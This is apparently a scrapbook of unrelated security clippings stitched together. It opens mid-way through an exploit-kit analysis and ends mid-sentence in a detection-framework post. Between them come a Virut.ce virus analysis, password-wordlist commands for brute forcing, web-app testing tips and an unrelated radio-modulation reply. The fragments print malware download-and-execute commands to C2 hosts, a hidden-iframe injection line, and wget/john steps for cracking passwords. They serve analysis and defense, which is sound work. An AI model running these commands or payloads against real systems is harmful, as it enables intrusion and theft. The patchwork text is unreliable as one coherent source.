  * ####  **h3 == Chrome w/ Java 7 update <= 17 CVE-2013-2423**

  * Nearly exactly the same as h2 page, the JNLP is encoded/presented differently.
  * Uses deployJava.js from java.com; deployJava.runApplet\(
  * Loads the r2 JAR for downloading the dropper

<img src='img/Temp2_8798.png' />

And it’s the exact same base64 encoded JNLP from H2.

  * ####  **h4 & h5 == Microsoft Internet Explorer 6 and Windows XP**

  * Heap Spray w/ DOM use-after-free vulnerability - we have ongoing research to determine exactly which CVE it is.

<img src='img/Temp2_8801.png' />

  * ####  **h6 == Microsoft Internet Explorer 8 and Windows XP**

  * CVE-2013-1347 - CGenericElement Object Use-After-Free Vulnerability
  * Snort SIDs: 26569 through 26572, 26603 and 26668
  * The code on the page is pretty much a direct rip-off of the metsploit ie\_cgenericelement\_uaf.rb module

  *  _https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ie\_cgenericelement\_uaf.rb_

  * ####  **h7 == Java 6 update <= 32**

  * Direct <applet> loading of r7 JAR, which leverages the CVE-2012-1723 classloader confusion vulnerability 

###  _**Java JAR Analysis**_

  * ####  **r2 jar - CVE-2013-2465**

  * CVE-2013-2465 is the Incorrect image channel verification \(buffered image\) vulnerability, which permits execution of arbitrary code.
  * Java class grants itself full permissions via overloading java.security.AllPermission
  * Ultimately downloads to disk and executes an executable \(ntsys391.exe\).

This JAR has a pretty simple IDS evasion technique where it decodes the URL to
download the executable at runtime, through simple XOR routine.

<img src='img/Temp2_8797.png' />

  * ####  **r7 jar - CVE-2012-1723**

  * This exploits the getClassLoader vulnerability - by modifying a class file by hand, you can confuse the Java runtime between a static variable and an instance variable. This results in code being executed outside of the java sandbox, when it hasn't been verified as safe.
  * A Java class grants itself full permissions via overloading java.security.AllPermission
  * One of the malicious classes in the JAR has another class embedded as a string that gets decoded and executed directly \(r7-embedded.class, below\)

  * ####  **r7-embedded.class**

  * This leverages java.security.PrivilegedExceptionAction
  * When successful, it downloads an executable from a hardcoded url to the Java temp dir, and saves the file as ntsys391.exe. The hard-coded URL is the same .php file as the rest of the exploit kit including the fully qualified domain name. This may mean the exploit kit is rebuilt for each compromised host, or the r7 jar is dynamically built for each request by PHP.

<img src='img/Temp2_8806.png' />

###  _**Stage 4 - the dropped executable - which is a dropper as well**_

  * Either one of the Java vulnerabilities or the heap spray in Microsoft Internet Explorer requests dtsrc.php?a=dwe, which is saved to disk as ntsys391.exe
  * ntsys391.exe downloads additional executables, the .jpg URLs referenced below under “Network Indicators”

###  _**Host Indicators**_

  * First stage dropper: - initially dropped as ntsys391.exe

  * SHA: D667833E4915C385321B553785732BBED3009C2A
  * SHA256: 164de09635532bb0a4fbe25ef3058b86dac332a03629fc91095a4c7841b559da

  * Copies/Renames self as C:\Documents and Settings\Administrator\Application Data\ Broker services\WbemMonitor .exe
  * Runs self: "WbemMonitor .exe -fst”
  * Phones home to C2 w/ a POST request \(see “Network Indicators” below\) to retrieve other executables to download.
  * Retrieves shot.jpg, which is actually an EXE -> C:\Documents and Settings\Administrator\Application Data\ Broker services\plugs\mmc.exe

  * SHA: 334eeaf5ea3920b612b4e26bbe3e0cccbc431c2e
  * SHA256: 5ee0761f5eda01985d5f93a5e50a1247fb5c17deba1d471b05fc09751d09a08e

###  _**Network Indicators**_

  * Contacts

  * **93.171.216.118**
  * Request: \(_Analyst Note: notice — no User-Agent header, HTTP/1.1 to a dotted quad\)_

  * POST /check\_value.php HTTP/1.1
  * Content-Type: application/x-www-form-urlencoded
  * Host: 93.171.216.118
  * Content-Length: 42
  * Connection: Keep-Alive
  * Cache-Control: no-cache

  * Post Body:

  * identifiant=51032\_2161380123730&version=2.
  * Response: \(_Analyst_  _Note: broken apart for readability - this was originally all on one line - lines delimited by a ; character, and trivally defanged\)_
  * work:3|downexec hxxp://93.188.161\[.\]235/check2/muees27jxt/shot.jpg;
  * work:5|downexec hxxp://93.188.161\[.\]235/check2/muees27jxt/tl.jpg;
  * work:7|downexec hxxp://93.188.161\[.\]235/check2/muees27jxt/fl.jpg;
  * work:290|downexec hxxp://93.188.161\[.\]235/check2/muees27jxt/inf.jpg;

  * 93.188.161.235
  * Request \(_Analyst Note: this kit only returns the JPG if the user-agent matches the string below, HTTP/1.1 to a dotted quad_\)

  * GET /check2/muees27jxt/shot.jpg HTTP/1.1
  * User-Agent: User-Agent: Opera/10.35 Presto/2.2.30
  * Host: 93.188.161.235
  * Cache-Control: no-cache

  * Response:

  * PE executable 

# Penetration Testing in the Real World | Leaders in Information Security Training
**Created:**| _4/29/2010 12:25:22 PM_  
---|---  
**Updated:**| _4/29/2010 12:25:37 PM_  
**Author:**| __  
**Tags:**| _video pentest Tutorials_  
  

## Penetration Testing in the Real World

Posted APR 27 2010 by ADMIN in BACKTRACK LINUX with 0 COMMENTS

Penetration Testing in the real world. If you are tired of “Hacking with
Netcat” webcasts or “Penetration Testing with RPC DCOM”, then this movie is
for you. It’s a quick reconstruction of a Penetration test we preformed over a
year ago, replicated in our labs. We hope you enjoy it\! Check it out here :  

**TAGS** :  _penetration testing_ ,  _professional penetration test_ ,  _real
world hacking_ ,  _video_ **CATEGORY:** BackTrack Linux

# Episode129 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:52:15 PM_  
---|---  
**Updated:**| _8/5/2009 12:52:42 PM_  
**Author:**| __  
**Tags:**| _security tools authentication bypass pauldotcom security Hacks
socialising_  
  

# Tech Segment: Creating Custom Wordlists For Password Brute Forcing

This is a nice, easy way, to build a custom dictionary for your target. I got
some of the original code from SANS Security 560 by Ed Skoudis. With his
permission, I've published some of my enhancements. The first step is to grap
the entire web site:

[code]

    wget -r -l 2 www.<targetwebsite>.com
    
[/code]

I'm going two levels deep here, you can adjust that with the "-l" flag. How
many levels deep depends on how big of a dictionary you want and how big your
target site is. Next, we replace the spaces with new line characters and
produce a uniq list:

[code]

    grep -hr "" www.<targetwebsite>.com/ | tr '[:space:]' '\n' | sort | uniq > wordlist.lst
    
[/code]

Next step is to remove the weird characters, don't worry, we can put them
back. This primarily removes the HTML tags and such:

[code]

    egrep -v '('\,'|'\;'|'\}'|'\{'|'\<'|'\>'|'\:'|'\='|'\"'|'\/'|'\/'|'\['|'\]')' wordlist.lst | sort -u > wordlist.clean.lst
    
[/code]

Note: I do not remove the "\(\)", we probably need to move to perl regex or
something similar to do that. I get a syntax error when I try to remove the
"\(" or "\)". Also, different versions of grep \(and wget\) will behave
differently, so you might have to tweak. Below, we append the default John the
ripper password list to our custom list:

cat password.lst >> wordlist.clean.lst

But now we might have duplicates, and since we removed all special characters
\(Well, most of them anyhow\) we need to put them back. Below we run John to
re-generate our unique wordlist, apply some rules, and output to standard out:

[code]

    john --wordlist=wordlist.clean.lst --rules --stdout | uniq > final.wordlist.lst
    
[/code]

For bonus points you can modify the rules so that it does a better job of
adding in special characters \(such as replacing all "i" with "1"\). Passwords
are, well, just so easy to abuse...

# Review of the Virus.Win32.Virut.ce Malware Sample - Securelist

**Created:**| _7/1/2010 10:28:19 AM_  
---|---  
**Updated:**| _7/4/2010 8:03:04 AM_  
**Author:**| __  
**Tags:**| _windows security reversing Malware-analysis windows environment
anti-debugging_  
  

# Review of the Virus.Win32.Virut.ce Malware Sample

## Introduction

This article is dedicated to the polymorphic virus known as Virus.Win32.Virut
and to its ‘ce’ variant in particular.

**Why call it Virut.ce?**

Virut.ce is one of the most widespread pieces of malware to be found on users’
computers. It infects executable files using the very latest techniques and
that makes detecting and treating those files particularly difficult. The
current means by which most malicious files are actively spread is server-side
polymorphism. Infecting files is not as popular as it used to be about five
years ago. This is largely because the level of file emulation has improved
greatly. As such, you have to hand it to the authors of Virut.ce – they
weren’t at all put off by the difficulties they faced in trying to infect
executable files.

The technology implemented in Virut.ce accurately reflects the very latest
methods used to write malware. Anti-emulation and anti-debugging tools are
widely used, such as the tick count received when using multiple rdtsc
instructions, series of GetTickCount API functions and the calling of multiple
fake API functions.

Virut is the fastest-mutating virus known, with a new variant appearing as
often as once a week. This indicates that its creators are closely monitoring
antivirus databases so that they can take prompt action when a new Virut
signature is released. As soon as this happens, the creators modify the virus
so that once again it is undetectable. Interestingly, the malicious program
ensures that its latest version is downloaded to compromised computers by
taking advantage of infected HTML files as described below.

This article reviews the methods used to infect files. Obfuscation will also
be covered as it is applied each time an executable file is infected.
Additionally, the evolution of the virus’ components will be examined, from
their emergence up until the present time. All of the statistics that appear
in this article have been collected using Kaspersky Lab’s own Kaspersky
Security Network \(KSN\) technology.

## A brief review of statistics and propagation

The first Virut variant was called Virut.a and appeared back in mid-2006. From
that moment on, the strain has evolved steadily, reaching Virut.q sometime in
September 2007.

Virut.q was quite popular at the time, but only rarely occurs these days. Its
developers discontinued ‘support’ for it during the second half of 2008, but
then in the first week of February 2009, a new variant called Virut.ce
appeared. It would seem that the creators of the virus spent the interim
period perfecting new infection techniques, encryption algorithms and anti-
emulation methods.

It should be pointed out here that any reference to the terms ‘Virut’, ‘the
virus’ etc. that appear later in the article, refer to Virus.Win32.Virut.ce.

At present, the Virut.ce variant is the second most popular of all of the
versions of Virus.Win32.\*.\* detected on users’ computers.

<img src='img/Temp2_6993.gif' /> <img src='img/Temp2_6993.gif' />   
**The Top 20 most frequently detected viruses January 2009 – May 2010**

From the graph below it can clearly be seen that the propagation acitivity of
Virut.ce increases with time.

<img src='img/Temp2_6993.gif' /> <img src='img/Temp2_6993.gif' />   
**Number of computers infected with Virut.ce May 2009 – May 2010**

The virus propagates through infected files, both executable and HTML, or
smaller programs designed to crack licensed software. Such programs generally
include key generators \(keygens\) and direct file modification utilities
\(cracks\). More specifically, Virut propagates as part of RAR/SFX archives
with straightforward names like ‘codename\_panzers\_cold\_war\_key.exe’ or
‘advanced\_archive\_password\_recovery\_4.53\_key.exe’. Such archives include
a copy of Virut, either in its original form, or in an infected file alongside
the desired program.

## Virut’s functionality

Now let us look at the most important feature - Virut’s payload. It is common
knowledge that most malware programs are exclusively designed for financial
gain and Virut is certainly no exception. Effectively, it is a backdoor which
first attempts to infiltrate the address space of the ‘explorer.exe’ process
\(‘services.exe’, ‘iexplore.exe’\), then it connects to the irc.zief.pl and
proxim.ircgalaxy.pl URLs via IRC-protocol and waits for commands to arrive.
The procedure looks quite conventional, as does the list of processes the
virus attempts to terminate as shown in the screenshot below. This list
includes processes belonging to antivirus programs such as ‘nod32’, ‘rising’,
‘f-secure’ and a number of others.

<img src='img/Temp2_6993.gif' /> <img src='img/Temp2_6993.gif' />   
**Screenshot showing part of the decrypted static body of Virut.ce  
and including the names of processes that are terminated by the virus**

Interestingly, the virus infects all of the \*.htm, \*.php and \*.asp files
stored on the victim computer. To do so, it adds the following line to them:
‘<iframe src = http://jl.\*\*\*\*\*.pl/rc/ style = ‘display:none’></iframe>’.
This downloads the latest version of Virut by exploiting a PDF-file
vulnerability. This line may change from version to version within the ‘ce’
variant. For example, the letter ‘u’ may be substituted by ‘&\#117’, which
will not affect the browser in any way, but will prevent static signatures
from working.

## General discussion and method of infection

Virut.ce uses EPO technology or rewrites the entry point as an infection
technique. One or two polymorphic decryptors are used in conjunction with it
too.

The Entry Point Obscuring \(EPO\) technique works by preventing detection of
the instruction to jump to the virus body. Typically, this is implemented by
replacing a random instruction in the program’s original code or the parameter
of the jump instruction. Below is an example of how an instruction and the
jump address can be substituted.

<img src='img/Temp2_6993.gif' /> <img src='img/Temp2_6993.gif' />   

The term ‘rewriting the entry point’ implies modifying the PE header of the
file being infected, specifically rewriting the AddressOfEntryPoint field in
the IMAGE\_NT\_HEADERS32 structure. Consequently file execution will start
directly with the virus component.

As discussed earlier, the virus adds only one or two decryptors during
infection – let us call them ‘Init’ and ’Main’. The Main decryptor is located
in every file touched by Virut.ce, while the Init decryptor occurs only
occasionally. Let us take a closer look at the function and general appearance
of this decryptor.

The primary purpose of the Init decryptor is to decipher the first layer of
the virus’ main body in order to hand over control to it. However, the bulk of
the virus’ body remains encrypted even after this initial decryption has
occurred. The Init decryptor is a small piece of code between 0x100 and 0x900
bytes long and contains many purposeless instructions that prevent static
antivirus signatures from working. The decryptor is placed at the end of a
section of code if there is a sufficient number of zeros. The decryptor works
as follows:

  1. It writes the size of the encrypted section to the register;
  2. Performs a logical/arithmetic operation on the encrypted section with a constant key;
  3. Increments/decrements the pointer to the encrypted section;
  4. Jumps back to instruction 2 until everything is decrypted.

The main body of the virus is 0x4000 to 0x6000 bytes in size and is located at
the end of the last section, which is extended specifically for this purpose
and flagged as write/read-accessible and executable.

Thus, four ways for possible infection exist:

Init Decryptor + EPO:

<img src='img/Temp2_6993.gif' /> <img src='img/Temp2_6993.gif' />   

Init Decryptor + modifications to the EP:

<img src='img/Temp2_6993.gif' /> <img src='img/Temp2_6993.gif' />   

EPO only:

<img src='img/Temp2_6993.gif' /> <img src='img/Temp2_6993.gif' />   

Rewriting the entry point only:

<img src='img/Temp2_6993.gif' /> <img src='img/Temp2_6993.gif' />   

These four methods of contagion cover all the possible ways to infect a file
or modify its structure.

## Primary decryption of Virut.ce’s body

Before we go on to discuss the payload of the virus’ main body, let us look at
the Init decryptor in a genuinely infected file.

<img src='img/Temp2_6993.gif' /> <img src='img/Temp2_6993.gif' />   
**Fragment of a file infected by Virus.Win32.Virut.ce which includes the Init
decryptor**

<img src='img/Temp2_6993.gif' /> <img src='img/Temp2_6993.gif' />   
**The disassembled code of the Init decryptor**

The first of the screenshots above shows a fragment of an infected calc.exe
file. The boundaries of the code section are marked and the Init decryptor is
highlighted also. The second screenshot shows the disassembled code of the
Init decryptor. The four logical elements discussed above are shown in red
ovals.

In this example, the ECX register is filled with multiple push/pop
instructions and decrypted with the adc instruction. However, this procedure
has not always been the same. Virut.ce has evolved rapidly in the last year
and so has the incorporated Init decryptor. If the virus body size written
into the registry has been modified once \(mov reg, dword changed to push
dword; pop reg\), the decryption procedure changes more than once \(in date
order\):

  1. ADD/SUB \[mem\], dword;
  2. ROL/ROR \[mem\], byte;
  3. ADC/SBB \[mem\], byte;
  4. ADD/SUB \[mem\], byte;
  5. ADD/SUB \[mem\], word;
  6. ADC/SBB \[mem\], word;
  7. ADC/SBB \[mem\], dword;

Now that we have reviewed the general schemes by which infection occurs and
the primary processing of the virus’ main body, we can move on to reviewing
the execution of the major part of Virut, which is always located at the end
of the last section.

## Restoring the original code

The code of the main body can be subdivided into three groups according to
purpose: the restoration of the original function/entry point, the decryption
of the static body and the execution of the payload.

Before we review each element, let us review the structure of the virus body
and have a look at the associated part of the file.

<img src='img/Temp2_6993.gif' />   
**The structure of the main body of Virut.ce**

As can be seen in the picture, the main body added to the end of the code’s
last section is made up of two types of components: the encrypted static body
and the executable code. The executable part contains a code which performs
anti-emulation, restores the original entry point and/or function and decrypts
the static body. It is scattered over the main body and may be located at the
top or bottom or be split in two. Interestingly, the executable part is also
heavily obfuscated. This complicates detection as there are no static elements
in the original file and a static element is obviously encrypted using
different keys and/or algorithms, as will be demonstrated in the discussion
below.

<img src='img/Temp2_6993.gif' /> <img src='img/Temp2_6993.gif' />   
**File fragment containing the main body of Virus.Win32.Virut.ce**

The above picture shows a screenshot of a fragment of a file infected with
Virus.Win32.Virut.ce. The executable part of the virus’ main body is
highlighted with a red oval; it can also be identified visually as it contains
a lot of zero bytes. In this instance, the virus has not used the Init
decryptor during the infection process; otherwise, all of the sections would
look similar and be encrypted.

Let us now look at the block dedicated to restoring the file’s original part.
The logic of this block may be represented as follows:

  1. CALL \[address with a small increment\];
  2. Store the original contents of the registers;
  3. Add the address pointing to kernel32.dll to the EBX register;
  4. Calculate the pointer to the address of the instruction following CALL in item 1;
  5. Perform an arithmetic/logical operation on the address obtained in instruction 4.

It should be noted that the virus uses the EPO technique only if it identifies
an API-function being called from kernel32.dll. This function call may be
identified by the calls through either the 0x15FF or 0xE8 opcodes, with a
subsequent JMP instruction \(0x25FF\). If such a function is identified it is
replaced with the JMP instruction \(0xE9\) which leads to instruction 1 in the
previous diagram. Then the address of the replaced function from kernel32.dll
is placed into the EBX register. If only the entry point has been modified,
the value at \[ESP + 24\] is placed into the EBX register – this is the
address for the application to return to kernel32.dll. Later on, the value
stored in this register will be used to obtain the addresses of exported DLL
functions. If the EPO technique is used, the value at \[ESP + 20\] will
contain the address of the instruction following the call of the patched API-
function; otherwise it will contain the address of the original entry point.

If obfuscation is excluded, the simplest way to restore the entry point and/or
function will appear as follows \(assume the GetModuleHandleA function was
replaced\):

CALL $ + 5  
PUSHAD  
MOV EBX, \[GetModuleHandleA\]   
XOR \[ESP + 20h\], Key

This code is completely in line with the general logic of the entire block.
Now, let us see how all of these stages have changed over time. The only stage
we will not dwell on is the second operation \(save the original contents of
the registers\) as it is always implemented by the PUSHAD instruction.

Let us review each of the block’s logical elements in detail.

The first stage – the CALL instruction – has not changed much over time.
Originally, it looked like CALL $ + 5, later CALL $ + 6\(7,8\), then CALL $ +
0xFFFFFFFx, which is a call ‘backwards’ . It may seem that this operation is
of little importance and can be scrapped, but that is not true. This address
is used to restore the entry point/original function as well as to address the
decryption keys and the start of the static code. We will mention this address
again when we discuss the Main decryptor.

Stage 3 is modified more often than stage 1 and may be implemented in several
ways:

  * MOV EBX, \[ApiFunc\]/MOV EBX, \[ESP + 24h\];
  * PUSH \[ApiFunc\]/\[ESP + 24h\]; POP EBX;
  * SUB ESP, xxh; PUSH \[ESP + 24h + xx\]; POP EBX;
  * LEA EBX, \[ESP + xxh\]; MOV EBX, \[EBX + 24h - xx\];
  * ADD ESP, 28h; XCHG \[ESP – 4\], EBX;

This list of examples is by no means exhaustive, but gives a general
understanding of how this stage evolved with time. Additionally, intermediate
manipulations of the ESP and EBX registers occur.

Let us review the last stage, which restores the address of the original entry
point or the patched CALL instruction. This stage is modified every two or
three weeks.

After the PUSHAD instruction is called, the ESP register – the indicator to
the stack – will be decremented by 0x20 and so ESP + 20h will store a value
supplied by the last CALL instruction. An arithmetic/logical operation is
applied to this value and the required figure is obtained.

Below are some of the possible sequences of operation that perform the actions
described above:

  * XOR/AND/OR/ADD/SUB \[ESP + 20h\], const;
  * MOV \[ESP + 20h\], const;
  * LEA EBP, \[ESP + x\]; MOV/OR/ADD/SUB/XOR EBP, const; XCHG \[EBX + 20h – x\], EBP;
  * MOV EBX, ESP; PUSH const; POP \[EBX + 20h\];
  * PUSH const; POP \[ESP + 20h\].

Again, this list is not exhaustive, but gives an understanding of the overall
trend. Various intermediate operations are added.

The screenshot below presents a fragment of an infected file which contains
all of the operations described above highlighted in red ovals.

<img src='img/Temp2_6993.gif' />   
**Screenshot of a file infected with Virus.Win32.Virut.ce,  
containing a code to restore the original entry point**

For clarity, the above code examples did not include obfuscation. However,
obfuscation is used extensively in all of the file sections added by the
virus, including the Init decryptor and the entire executable part of the main
body. It is obfuscation that completely blocks static signatures from
detecting the virus as it radically modifies the appearance of the code
without changing its performance. Below are some examples of junk instructions
which do not perform any meaningful operations and are only used to obfuscate
the code:

XCHG reg1, reg2; XCHG reg2, reg1; \(used together\)  
SUB reg1, reg2; ADD reg1, reg2; \(used together\)   
MOV reg, reg; OR reg, reg; AND reg, reg; XCHG reg, reg; LEA reg, \[REG\];   
CLD, CLC, STC, CMC, etc.

‘reg1’ and ‘reg2’ stand for different registers; ‘reg’ stands for the same
register within a single expression

Arithmetic/logical operations with an arbitrary second operand:

ADC reg, const; SBB reg, const; XOR reg, const; etc.

In the screenshots below, elements of obfuscation are highlighted in red
ovals:

<img src='img/Temp2_6993.gif' /> <img src='img/Temp2_6993.gif' />   
**Screenshots containing code of the virus’ main body with obfuscation
elements shown in ovals**

The screenshot on the left shows very clearly that junk instructions make up
some 70-80% of the entire code.

The examples above present some cases of obfuscation that occur most often and
are not exhaustive. As the virus evolves, new obfuscation techniques evolve
alongside it.

We have reviewed the first stage of execution of the virus’ main body. We will
not dwell on the stages that implement various anti-emulation and anti-
debugging techniques and move straight on to the Main decryptor.

## Decrypting the main body

The execution of the decryption code starts after the virus completes its
initial activities such as restoring the patched code, creating a specifically
named object and obtaining the addresses of the functions to be used from
system DLLs and anti-cycles.

If the Main decryptor is viewed in a disassembler, its code will appear
utterly meaningless, as the RETN instruction is called which hands over
control to a randomly chosen position. Before the main decryption process
starts, the RETN instruction \(0C3h\) is replaced with CALL \(0E8h\). This is
accomplished by an instruction which may typically look like this:

ADD/SUB/XOR \[EBP + xx\], bytereg

In the above, EBP points to the address of the instruction following CALL and
bytereg is one of the byte registers.

We can therefore consider that the decryption cycle starts after RETN is
changed to CALL. Next follows the decryption cycle which is just as obfuscated
as the rest of the virus’ body is. Not only are a large number of algorithms
used, but many of them are more complex than those used within the Init
decryptor. Typically, between two to six logical/arithmetic operations are
used in combination. In algorithms, the EDX register contains the decryption
key and the EAX register contains the virtual address where the static body
starts. The registers contain instructions which may look like this:

MOVZX/MOV dx/edx, \[ebp + const\] LEA eax, \[ebp + const\]

The EBP register contains the address which follows the CALL instruction; this
address was mentioned earlier when we reviewed the first stage of the logical
scheme which restores the original part of the file. The instructions
performing these two operations have also been modified with time, but we will
not discuss them here.

The algorithms in use are very diverse so we will only provide examples of the
most interesting ones:

ROL DX, 4  
XOR \[EAX\], DL  
IMUL EDX, EDX, 13h  
  
ADD \[EAX\], DL  
ROL DX, 5  
IMUL EDX, 13h  
  
XOR \[EAX\], DH  
ADD \[EAX\], DL  
XCHG DH, DL  
IMUL EDX, 1Fh  
  
XOR \[EAX\], DH  
XCHG DH, DL  
ADD \[EAX\], DH  
IMUL EDX, 1Fh  
  
XOR \[EAX\], DL  
ADD \[EAX\], DH  
IMUL EDX, 2Bh  
XCHG DH, DL

The instructions used changed from version to version, but no clear trend can
be observed: relatively simple algorithms were replaced by more complex ones,
which in turn were replaced by simpler ones again. It appears that the virus
creator’s ultimate goal was to use an algorithm that could better resist
possible brute force attempts. This may well account for the continuous
changes to the algorithms, as well as the irrationality of those changes.

<img src='img/Temp2_6993.gif' />   
**A disassembled fragment of the Main decryptor**

The screenshot above contains a fragment of the Main decryptor’s disassembled
code. The meaningful \(non-junk\) instructions discussed above are highlighted
in red ovals. Some junk operations are also present here for obfuscation
purposes.

To continue the discussion regarding the execution of the infected file, let
us move on to the execution of the malicious payload contained within the
decrypted static body. It typically starts with a CALL instruction to a nearby
cell in order to calculate the virtual address of the beginning of the
executable code and use it later on for addressing.

<img src='img/Temp2_6993.gif' /> <img src='img/Temp2_6993.gif' />   
**The virus’ decrypted static body**

The screenshot above shows the virus’ decrypted static body. The lines
highlighted by the red ovals carry specific parts of the malicious payload.
For example, ‘JOIN’ and ‘NICK’ are IRC commands, ‘irc.zief.pl’ and
‘proxim.ircgalaxy.pl’ are remote IRC servers that Virut attempts to contact;
‘SYSTEM\CurrentControlSet\ Services\SharedAccess\ Parameters\FirewallPolicy\ StandardProfile\AuthorizedApplications\ List’
is the registry key containing the list of trustworthy programs for the
Windows firewall.

## Conclusion

Virut.ce is interesting for the variety of file infection mechanisms that it
uses, as well as its polymorphism and obfuscation techniques. However, its
malicious payload is quite commonplace. This version of Virut was the first to
combine all of the aforementioned malicious techniques into a single piece of
malware. Some malicious programs may be heavily obfuscated, others may employ
a wide range of anti-emulation techniques, but Virut.ce combines all of these
in one package. This article provides a detailed account of these malicious
techniques.

The article is not an attempt at a complete description of Virut.ce, nor is it
intended to be. We could have gone deeper into how the virus communicates with
the IRC server, or examined more closely the details of how files are
infected, but this time we deliberately dwelt on Virut’s basic mechanisms.
Additionally, publishing a detailed description of the anti-emulation
techniques would be irresponsible as malware writers could then exploit this
information.

Assessing the virus’ future is quite a difficult task. As of April-May 2010,
no new versions of Virut.ce have been detected; however, this does not mean
that its evolution has stopped. It is quite possible that the virus writers
have taken a break in order to develop further changes to the virus that could
render it immune to current antivirus products.

Currently, all of Kaspersky Lab’s products are able to successfully detect and
treat Virus.Win32.Virut.ce and as soon as a new variant is detected, its
signature will be added to the Kaspersky Lab antivirus databases.

We hope that this article will be of assistance to virus analysts and those
interested in the study of malware. These days, anti-emulation and anti-
debugging techniques are commonly used in most malicious programs that
propagate by means of server-side polymorphism. An awareness of the
technologies implemented in Virus.ce helps to broaden our understanding of
many other malicious programs, including polymorphic viruses employing similar
methodologies.

  

# wishi/runtime-tracer · GitHub

**Created:**| _4/7/2012 11:07:51 AM_  
---|---  
**Updated:**| _4/7/2012 11:07:51 AM_  
**Author:**| __  
**Tags:**| _binary instrumentation iDA plugin_  
  

# Dynamic tracing, and IDA integration

Developed by Romain Gaucher, @rgaucher

## Information

Dynamic tracing for binary applications \(windows, linux\). A pintool is used
to generated traces, and a custom IDA plugin displays the trace information.

The pintool captures memory snapshot, and register values.

  * Screenshot of the IDA integration

# Re: \[Discuss-gnuradio\] QPSK basic modulator

**Created:**| _8/1/2011 7:54:51 AM_  
---|---  
**Updated:**| _8/1/2011 7:54:51 AM_  
**Author:**| __  
**Tags:**| _Gnuradio modulation_  
  

# Re: \[Discuss-gnuradio\] QPSK basic modulator

Ed Criscuolo  
Wed, 08 Apr 2009 07:30:04 -0700

[code]

    karim wrote:
    
[/code]

>
[code]

>     Hi,
>  
[/code]

> `I need to implement a simple transmitter that uses QPSK as the
> ``demodulation mode. It should read data (characters) from a file and
> ``transmit them as they are without preamble or anything. `
[code]

>     What's the simplest and fastest way to do it.
>  
[/code]

> `I checked the benchmark_tx.py it adds a preamble and a lot of data ``before
> the actual payload which I don't need. `
[code]

    
    Briefly, create a flowgraph as follows:
    
    Start with your data stream as a stream of unsigned bytes, such as
    reading from a file.
    
    Run through gr_packed_to_unpacked_bb with two bits per chunk.
    
    Run though gr_chunks_to_symbols_bc with the following symbol table:
            0,0 => -1-j
            0,1 => -1+j
            1,1 => +1+j
            1,0 => +1-j
    
    Upsample to the desired sample rate with your favorite
    interpolator/filter combination.
    
    Multiply by around 2000 to get some amplitude.
    
    Sink to the usrp
    
    
    
    You realize, of course, that without any kind of preamble or
    sync marker, it will be difficult to demodulate this correctly.
    In addition, QPSK will have a 1-of-4 ambiguity in the received
    phase constellation.  The usual solution to this is to use
    some sort of sync marker that can be unambiguously recognized
    irrespective of any phase offset.
    
    Hope this helps.  Good luck!
    
    @(^.^)@  Ed
    
[/code]

# Episode120 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:49:22 PM_  
---|---  
**Updated:**| _8/5/2009 12:49:37 PM_  
**Author:**| __  
**Tags:**| _web-app-sec security tools pauldotcom web Tutorials_  
  

# Tech Segment: Paul's Quick & Dirty Web App Testing Tips

## Nikto

<img src='img/Temp2_2743.png' width='728' height='566' alt='Image:Nikto.png'
/>

This screenshot displays Nikto in action. You will notice that it identifies
the server as "Apache", but offers no version information. This means an
administrator has taken the time to hide the version string, giving you dome
idea of what you are up against. Also, I like to run Nikto against a server
and find the version its running, because if there is a remote exploit for the
web server program itself \(or associated technologies such as PHP\), my web
app testing is much easier done as root :\) I also like to have Nikto find
some of those hidden directories and interesting pages, as often they are
informational, providing me with valuable recon.

## Paros

<img src='img/Temp2_2744.png' width='791' height='583' alt='Image:Paros.png'
/>

Paros has a neat little vulnerability scanner, in addition to the proxy
feature. I like to run the vuln scanner against a web site and have it catch
the low hanging fruit, I mean hey its free. Don't forget to run the spider
against the site first, then run the scan. You get a nice little HTML report
as well. This is not comprehensive, but can find some items that require
further exploration. Tune the scan as well so that you're not trying to find
MS SQL injection flaws in PHP apps.

## Webscarab: Possible Injection

<img src='img/Temp2_2741.png' width='799' height='592' alt='Image:Websc1.jpg'
/>

My favorite proxy is becoming Webscarab. Its added so many wonderful features,
such as the ability to find potential injection points. I set this up and
browse the entire web site. I then go back and look at the potential injection
points and am usually surprised by the results. Just taking the single quote
and sticking it in the field forces a SQL error, sweet\! This can also be used
to find things such as persistent script injection, which is fun too. Don't
forget to check the sessions too\!

## Webscarab: Reveal Hidden Fields

<img src='img/Temp2_2742.png' width='799' height='594' alt='Image:Websc-2.jpg'
/>

This is just an awesome feature which can tell you a lot about the
application. Hidden fields are, well, no so hidden\! Webscarab does a great
job of displaying them to you through the proxy and allowing you to modify
their values. This can be especially interesting when it comes to e-commerce
sites that may, for example, store the price for items in the hidden
field\(s\).

# FAIL Of The Week: GetAdmin

<img src='img/Temp2_2745.png' width='344' height='403'
alt='Image:Reservations.png' />

# Mini-tech segment - MultiISO LiveDVD

A single DVD with a grub boot menu for different linux distros:

  * Backtrack 3 - we all know this one
  * Damn Small Linux \(DSL\) 4.2.5 - Tiny distro
  * GeeXboX 1.1 - Media display...used at IKEA
  * Damn Vulnerable Linux \(Strychnine\) 1.4 edition - Hack Away\!
  * Knoppix 5.1.1 - General Live CD
  * MPentoo 2006.1 - Mini Pen testing distro, with some neat tools, wireless, metasploit, etc
  * Ophcrack 1.2.2 \(remastered to contain SSTIC04-5k \[720MB\] table sets\) - - password cracking, with decent rainbowtable
  * Puppy Linux 3.01 - A mini linux distro
  * Byzantine OS i586-20040404 - mini linux distro with focus on home entertainment

I really liked the concept for the multiboot, and with UNEtbootin \(as
discussed a few shows ago\) you should be able to make this bootable on a USB
thumb drive. I haven't had a chance to test, and I'll wait for the appropriate
sized drives to go on sale.

I thought that MPentoo, Knoppix, DVL and BT3 were good choices, but in
reality, for security testing, how many mini-distros do I need? Or how many
multimedia distros do I need? How about some of the other cool stuff like
samurai, DBAN, viopong, helix...the list goes on...

  

# VRT: A New Detection Framework

**Created:**| _4/22/2010 6:51:11 PM_  
---|---  
**Updated:**| _4/22/2010 6:51:27 PM_  
**Author:**| __  
**Tags:**| _research conference-material iDS/iPS vulnerability new?_  
  

### A New Detection Framework

We just completed a talk here in Dubai on some detection capability research
the VRT has been doing. The subtitle of the presentation, "What would you do
with a pointer and a size?" pretty much sums up the potential of the project.
It all started last December at the SANS IDS conference. In talking to both
attendees and presenters, it became clear there was a lack of capability for
high-end security and response personnel. Repeatedly we were asked about
providing a greater depth of detection, dropping a file to disk for longer
